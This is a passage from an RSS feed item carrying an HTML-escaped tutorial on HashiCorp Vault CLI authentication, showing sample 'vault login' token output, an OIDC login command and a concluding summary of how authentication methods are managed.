is already stored &lt;span class="k"&gt;in &lt;/span&gt;the token helper. You &lt;span class="k"&gt;do &lt;/span&gt;NOT need to run &lt;span class="s2"&gt;"vault login"&lt;/span&gt;
again. Future Vault requests will automatically use this token.

Key                    Value
&lt;span class="nt"&gt;---&lt;/span&gt;                    &lt;span class="nt"&gt;-----&lt;/span&gt;
token                  hvs.CAESICzlbzAXoGcIvdAgGQ1NToqs5jARRfP4oFJAS_37Mw-HGh4KHGh2cy5ORGMzYmYyQWlGbFk5em92cHVuNXFBbkU
token_accessor         EjZQYdMEMCAsN7VvVCR1ef1r
token_duration         768h
token_renewable        &lt;span class="nb"&gt;true
&lt;/span&gt;token_policies         &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"default"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
identity_policies      &lt;span class="o"&gt;[]&lt;/span&gt;
policies               &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"default"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
token_meta_username    user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To properly setup the OIDC authentication method, additional steps are required: Registration with an OIDC provider, configuring the discovery URL and secrets in vaults, and the setup of policies and roles. Assuming these steps were done, the login works as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault login &lt;span class="nt"&gt;-method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;oidc &lt;span class="nt"&gt;-path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;openid-login &lt;span class="nv"&gt;role&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;user

&lt;span class="c"&gt;#logMessages&lt;/span&gt;
Complete the login via your OIDC provider. Launching browser to:

...

Waiting &lt;span class="k"&gt;for &lt;/span&gt;OIDC authentication to complete...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Hashicorp Vault CLI offers more then 30 commands. In this article, you learned all about authentication. First, authentication methods are enabled at a specific mountpoints. Their properties can be modified, their mount path changed, and a list of all active methods obtained. Not required authentication methods can be disabled, immediately revoking all token leases. Second, users and systems alike can use the CLI also to login. Providing the authentication methods name, its mount path, and other required parameters. When successful, a new token is created, access policies attached, and the token owner can interact with the Vault server.&lt;/p&gt;

</description>
      <category>hashicorp</category>
      <category>vault</category>
      <category>hashicorpvault</category>
    </item>
  </channel>
</rss>
